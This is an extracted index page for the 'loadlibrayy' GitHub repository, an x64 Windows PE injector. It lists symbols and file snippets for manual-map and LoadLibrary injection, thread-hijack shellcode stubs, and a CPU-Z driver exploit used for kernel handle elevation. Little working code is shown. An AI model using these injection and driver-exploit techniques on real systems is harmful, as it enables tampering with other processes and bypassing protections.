type IMAGE_DATA_DIRECTORY (line 513) | [StructLayout(LayoutKind.Sequential)]
type _OSVERSIONINFOEXW (line 520) | [StructLayout(LayoutKind.Sequential)]
type _HANDLE_TABLE_ENTRY (line 535) | [StructLayout(LayoutKind.Sequential)]
type ProcessContext (line 542) | [StructLayout(LayoutKind.Sequential)]
type _RTL_PROCESS_MODULES (line 550) | [StructLayout(LayoutKind.Sequential)]
type _RTL_PROCESS_MODULE_INFORMATION (line 557) | [StructLayout(LayoutKind.Sequential)]
type M128A (line 571) | [StructLayout(LayoutKind.Sequential)]
method ToString (line 577) | public override string ToString()
type XSAVE_FORMAT64 (line 582) | [StructLayout(LayoutKind.Sequential, Pack = 16)]
type CONTEXT64 (line 608) | [StructLayout(LayoutKind.Sequential, Pack = 16)]
type DataSectionFlags (line 669) | [Flags]
type ACCESS_MASK (line 842) | [Flags]
type CONTEXT_FLAGS (line 893) | public enum CONTEXT_FLAGS : uint
type ThreadAccess (line 906) | [Flags]
type AllocationType (line 920) | [Flags]
type MemoryProtection (line 934) | [Flags]
FILE: Helpers/ShellcodeGenerator.cs
method CallLoadLibrary (line 14) | public static byte[] CallLoadLibrary(ulong allocatedImagePath, ulong loa...
FILE: Helpers/Tools.cs
method GetRelocationData (line 17) | public static ushort GetRelocationData(void* baseRelocation, int index) =>
method GetFirstSection (line 21) | public static NT.IMAGE_SECTION_HEADER* GetFirstSection(ulong localImage,...
FILE: Injection/IInjectionMethod.cs
type ExecutionType (line 10) | public enum ExecutionType
type InjectionOptions (line 16) | public struct InjectionOptions
type IInjectionMethod (line 24) | interface IInjectionMethod
method InjectImage (line 30) | bool InjectImage(string imagePath);
method InjectImage (line 31) | bool InjectImage(byte[] rawImage);
FILE: Injection/LoadLibrary.cs
class LoadLibraryInjection (line 17) | public unsafe class LoadLibraryInjection : IInjectionMethod
method LoadLibraryInjection (line 23) | public LoadLibraryInjection(Process targetProcess, ExecutionType typeO...
method InjectImage (line 30) | public bool InjectImage(string imagePath)
method InjectImage (line 161) | public bool InjectImage(byte[] rawImage)
FILE: Injection/ManualMap.cs
class ManualMapInjection (line 19) | public unsafe class ManualMapInjection : IInjectionMethod
method ManualMapInjection (line 29) | public ManualMapInjection(Process targetProcess, ExecutionType typeOfE...
method InjectImage (line 36) | public bool InjectImage(byte[] rawImage)
method InjectImage (line 57) | public bool InjectImage(string imagePath)
method MapImage (line 67) | public ulong MapImage(string imageName, byte[] rawImage)
method CallEntrypoint (line 124) | public void CallEntrypoint(byte[] rawImage, ulong moduleHandle)
method WriteImageSections (line 220) | public void WriteImageSections(byte[] rawImage, NT.IMAGE_DOS_HEADER do...
method RelocateImageByDelta (line 236) | public void RelocateImageByDelta(ulong localImage, ulong remoteImage, ...
method FixImportTable (line 276) | public void FixImportTable(ulong localImage, NT.IMAGE_OPTIONAL_HEADER6...
method AddLoaderEntry (line 346) | public void AddLoaderEntry(string imageName, ulong moduleHandle)
FILE: Miscellaneous/Program.cs
class Program (line 12) | static class Program
method Main (line 17) | [STAThread]
FILE: Properties/Resources.Designer.cs
class Resources (line 22) | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resource...
method Resources (line 31) | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Mic...
FILE: Properties/Settings.Designer.cs
class Settings (line 14) | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
Condensed preview — 38 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (553K chars).
[
{
"path": ".gitattributes",
"chars": 2518,
"preview": "###############################################################################\n# Set default behavior to automatically "
},
{
"path": ".gitignore",
"chars": 4305,
"preview": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n# User"
},
{
"path": "App.config",
"chars": 178,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n <startup> \n <supportedRuntime version=\"v4.0\" sku=\".NET"
},
{
"path": "Driver Exploit/CPUZ.cs",
"chars": 32234,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropService"
},
{
"path": "Driver Exploit/CPUZShellcode.cs",
"chars": 279405,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nna"
},
{
"path": "Driver Exploit/ElevateHandle.cs",
"chars": 11812,
"preview": "using Loadlibrayy.Logger;\nusing Loadlibrayy.Natives;\nusing System;\nusing System.Collections;\nusing System.Collections.Ge"
},
{
"path": "Extensions/ProcessExtensions.cs",
"chars": 9556,
"preview": "using Loadlibrayy.Logger;\nusing Loadlibrayy.Natives;\nusing System;\nusing System.Collections.Generic;\nusing System.Compo"
},
{
"path": "Forms/DankInjectionForm.Designer.cs",
"chars": 19454,
"preview": "namespace Loadlibrayy\n{\n partial class DankInjectionForm\n {\n /// <summary>\n /// Required designer v"
},
{
"path": "Forms/DankInjectionForm.cs",
"chars": 9958,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Data;\nusing System.Drawing;\nu"
},
{
"path": "Forms/DankInjectionForm.resx",
"chars": 5899,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "Forms/NewInjectionForm.Designer.cs",
"chars": 13257,
"preview": "namespace Loadlibrayy.Forms\n{\n partial class NewInjectionForm\n {\n /// <summary>\n /// Required desig"
},
{
"path": "Forms/NewInjectionForm.cs",
"chars": 3873,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Data;\nusing System.Diagnostic"
},
{
"path": "Forms/NewInjectionForm.resx",
"chars": 5696,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "Forms/TaskList.Designer.cs",
"chars": 4585,
"preview": "namespace Loadlibrayy.Forms\n{\n partial class TaskListForm\n {\n /// <summary>\n /// Required designer "
},
{
"path": "Forms/TaskList.cs",
"chars": 1327,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Data;\nusing System.Diagnostic"
},
{
"path": "Forms/TaskList.resx",
"chars": 5696,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "Helpers/Logger.cs",
"chars": 1179,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusi"
},
{
"path": "Helpers/Natives.cs",
"chars": 33448,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Lin"
},
{
"path": "Helpers/ShellcodeGenerator.cs",
"chars": 5061,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nna"
},
{
"path": "Helpers/Tools.cs",
"chars": 3079,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.CompilerServic"
},
{
"path": "Injection/IInjectionMethod.cs",
"chars": 732,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Text;\nusing S"
},
{
"path": "Injection/LoadLibrary.cs",
"chars": 7825,
"preview": "using System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Linq;\nusing System.R"
},
{
"path": "Injection/ManualMap.cs",
"chars": 19052,
"preview": "using Loadlibrayy.Logger;\nusing Loadlibrayy.Natives;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagn"
},
{
"path": "LICENSE",
"chars": 35149,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "Loadlibrayy.csproj",
"chars": 6571,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.micros"
},
{
"path": "Miscellaneous/Program.cs",
"chars": 597,
"preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Net;\nusing System.Reflection;\nusing Sys"
},
{
"path": "Miscellaneous/app.manifest",
"chars": 3092,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com:asm.v1\">\n <ass"
},
{
"path": "Properties/AssemblyInfo.cs",
"chars": 1395,
"preview": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Infor"
},
{
"path": "Properties/Resources.Designer.cs",
"chars": 4692,
"preview": "//------------------------------------------------------------------------------\n// <auto-generated>\n// This code w"
},
{
"path": "Properties/Resources.resx",
"chars": 7125,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The prim"
},
{
"path": "Properties/Settings.Designer.cs",
"chars": 1066,
"preview": "//------------------------------------------------------------------------------\n// <auto-generated>\n// This code w"
},
{
"path": "Properties/Settings.settings",
"chars": 240,
"preview": "<?xml version='1.0' encoding='utf-8'?>\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\""
},
{
"path": "README.md",
"chars": 474,
"preview": "# loadlibrayy\nx64 PE injector with kernel handle elevation and thread hijacking capabilities\n\n## Features\n+ Standard man"
},
{
"path": "Shellcodes/call_dllmain_x64.asm",
"chars": 189,
"preview": "sub RSP, 0x28\nmovabs RCX, 0x0000000000000000\t; hModule\nmov RDX, 0x1\t\t\t\t\t; fdwReason\nxor R8, R8\t\t\t\t\t\t; lpvReserved\nmovabs"
},
{
"path": "Shellcodes/threadhijack_dllmain_x64.asm",
"chars": 337,
"preview": "PUSHFQ\nPUSH rax\nPUSH rbx\nPUSH rcx\nPUSH rdx\nPUSH r8\nPUSH r9\nPUSH r10\nPUSH r11\n\nsub RSP, 0x28\nmovabs RCX, 0x00000000000000"
},
{
"path": "Shellcodes/threadhijack_loadlibrary_x64.asm",
"chars": 288,
"preview": "PUSHFQ\nPUSH rax\nPUSH rbx\nPUSH rcx\nPUSH rdx\nPUSH r8\nPUSH r9\nPUSH r10\nPUSH r11\n\nsub RSP, 0x28\nmovabs RCX, 0x00000000000000"
},
{
"path": "loadlibrayy.sln",
"chars": 1329,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 15\nVisualStudioVersion = 15.0.26430.15\nMin"
},
{
"path": "packages.config",
"chars": 160,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n <package id=\"System.Runtime.CompilerServices.Unsafe\" version=\"4.3.0"
}
]
About this extraction
This page contains the full source code of the vmcall/loadlibrayy GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 38 files (530.1 KB), approximately 304.1k tokens, and a symbol index with 218 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.